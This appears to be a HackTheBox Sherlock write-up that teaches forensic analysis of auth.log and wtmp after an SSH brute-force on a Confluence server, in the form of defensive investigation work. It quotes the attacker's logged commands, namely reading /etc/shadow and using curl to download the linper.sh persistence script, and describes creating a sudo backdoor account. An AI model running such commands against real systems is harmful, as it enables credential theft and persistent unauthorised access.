Brutus
#very-easy #HackTheBox #Sherlocks #DFIR
Atualizado
#very-easy #HackTheBox #Sherlocks #DFIR
Atualizado
In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We'll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.
Objective: Determine the IP address used in the brute-force attack.
What to Look For: An IP address associated with failed login attempts.
Source of Information: The auth.log file, which records authentication attempts.
Indicators of a Brute-Force Attack: Look for multiple failed login attempts from the same source, indicated by messages such as "authentication failure" and "failed password."
Identifying the Source: Focus on the rhost field in the log entries.
Analyzing the auth.log
Understanding auth.log:
The auth.log file is a critical system log that records both successful and failed authentication attempts, making it essential for identifying unauthorized access.
Each log entry typically includes a timestamp, hostname, the process generating the log (e.g., sshd for SSH), and a message describing the event.
Identifying Brute-Force Patterns:
Brute-force attacks are characterized by numerous failed login attempts from a single source within a short timeframe.
Look for patterns such as:
Repeated "authentication failure" messages.
Multiple "failed password" messages.
The same rhost (remote host) value appearing frequently.
Attempts against various usernames.
Technical Analysis of the Brute-Force Attack
In our investigation of the brute-force attack, we identified the attacker's IP address as 65.2.161.68 by analyzing the auth.log file.
grep -Ei 'Failed password|authentication failure' auth.log
This part searches the auth.log file for lines containing either "Failed password" or "authentication failure", ignoring case.
It filters out irrelevant log entries, focusing only on failed login attempts.
| grep -oP 'rhost=\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}'
This takes the output of the previous command and extracts the IP address associated with rhost=.
It uses a regular expression to match the IP address format.
| uniq -c
This takes the output of the previous command and counts the occurrences of each unique IP address.
It shows how many times each IP address appeared in the failed login attempts.
65.2.161.68
Objective: Determine the username of the account that the attacker successfully accessed after the brute-force attempts.
Thinking Process:
What am I looking for? A successful login event recorded in the auth.log file.
Where can I find this information? In the auth.log file, which logs all authentication attempts, both successful and failed.
What does a successful login look like in logs? Look for log entries that indicate successful authentication, typically marked by phrases such as "Accepted password" or "session opened."
How do I identify the username? The username will be included in the log message associated with the successful login event.
Based on the provided auth.log snippets, the username of the account that the attacker successfully gained access to is root.
While all the "Accepted password" lines indicate successful logins, the successful login related to the brute-force attack is the one from the IP address 65.2.161.68.
root
Objective: Determine the precise timestamp when the attacker manually logged into the server to execute their malicious objectives, following the initial brute-force access.
Understanding the Challenge:
Initial Brute-Force Login: The attacker's first successful login (March 6 06:31:40) was likely a result of the brute-force attack. This session was probably brief, used to validate the credentials.
Manual Login: The attacker then logged in again, using the compromised credentials, to perform their actual tasks. This is the login we need to pinpoint.
Importance of wtmp: The wtmp log file is crucial here. It records login and logout events on the system, providing a reliable source for identifying user activity.
Analyzing the wtmp Log:
The utmpdump command is a utility that can dump the contents of utmp and wtmp files in a human-readable format. It provides a more detailed view of the data than last.
This will output a detailed list of login and logout events, including timestamps, user names, terminal information, and more.
[7]: This indicates the type of record, which is USER_PROCESS (a login event).
[02549] and [02667]: These are the process IDs (PIDs) of the processes that initiated the login.
[ts/1]: This is the terminal or pseudo-terminal associated with the login.
[root] and [cyberjunkie]: These are the usernames of the users who logged in.
[pts/1]: This is the pseudo-terminal device.
[65.2.161.68]: This is the IP address of the remote host.
[2024-03-06T06:32:45,387923+00:00] and [2024-03-06T06:37:35,475575+00:00]: These are the timestamps of the login events in ISO 8601 format.
From the utmpdump output, we can clearly see that:
The root user logged in from 65.2.161.68 at 2024-03-06T06:32:45,387923+00:00.
Let’s convert to the "YYYY-MM-DD HH:MM:SS" format. It is widely considered a best practice for several reasons:
Clarity: It's unambiguous and easy to read, regardless of the user's locale or time zone.
Sorting: It sorts chronologically, making it easy to analyze time-based data.
Consistency: It's a standard format used in many systems and applications, ensuring consistency across different platforms.
Database Compatibility: It's compatible with most database systems, making it easy to store and query time-based data.
The date command is a powerful tool for manipulating dates and times. You can use it to convert timestamps to the desired format.
The timestamp when the attacker manually logged in to the server as root to carry out their objectives is 2024-03-06 06:32:45.
2024-03-06 06:32:45
SSH sessions are assigned unique session numbers upon login, aiding in session identification and management.
We need to identify the session number associated with the attacker's manual login to the root account, which we previously determined occurred at 2024-03-06 06:32:45.
Analyzing the auth.log, we observe two relevant login attempts:
Session 34: This session corresponds to the initial brute-force attempt, where the attacker successfully guessed the root password. The immediate disconnection suggests a brief credential validation.
Session 37: This session represents the attacker's manual login after obtaining the root credentials. This is the session where the attacker performed malicious activities.
Further analysis of session 37 reveals the attacker's actions, including:
Creation of the cyberjunkie user account.
Setting a password for the new user.
Modifying user information.
Therefore, session 37 is the session where the attacker carried out their objectives.
37
To maintain access, attackers often create new user accounts or modify existing ones. This ensures they can regain entry even if their initial access method is compromised. We need to identify the user account created by the attacker and the actions that granted it higher privileges.
Specifically, we're looking for log entries indicating:
The creation of a new user account, typically using commands like useradd or similar.
The assignment of higher privileges, often achieved by adding the user to the sudo group via usermod.
By examining the auth.log, we can observe the attacker's actions within session 37:
The attacker logged in as root, where he created the cyberjunkie user and granted it sudo privileges.
The cyberjunkie user was created as a backdoor account for persistent access.
The attacker subsequently logged in as cyberjunkie in a new session.
The first sudo command executed by cyberjunkie was /usr/bin/cat /etc/shadow, likely to verify the newly granted privileges.
cyberjunkie
The MITRE ATT&CK framework is a curated knowledge base of adversary tactics and techniques, used to classify and understand attacker behavior based on real-world observations. Persistence, in cybersecurity, refers to the methods an attacker uses to maintain access to a system across interruptions, such as system reboots or credential changes. Each technique and sub-technique within the framework is assigned a unique ID.
In this scenario, the attacker created a new local user account, cyberjunkie, and added it to the sudo group to ensure continued access.
This action directly corresponds to a specific sub-technique within the MITRE ATT&CK framework.
The relevant sub-technique is “T1136”:
https://attack.mitre.org/techniques/T1136/001/
This sub-technique describes how adversaries may create local accounts on a system to maintain access, which aligns with the attacker's creation of the cyberjunkie user.
T1136.001
The attacker's first successful login, as recorded in the wtmp file, occurred at Mar 6 06:32:45.
The auth.log indicates that session 37, associated with this login, ended at Mar 6 06:37:24.
The difference between the timestamps 06:32:45 and 06:37:24 is 279 seconds.
From 06:32:45 to 06:37:24 is 5 minutes, which is 5 * 60 = 300 seconds.
Subtract the 21 seconds difference between 45 and 24.
So, 300 - 21 = 279 seconds.
279
The auth.log reveals the following sudo command executed by the cyberjunkie user:
The full command executed with sudo to download the script is:
/usr/bin/curl <https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh>
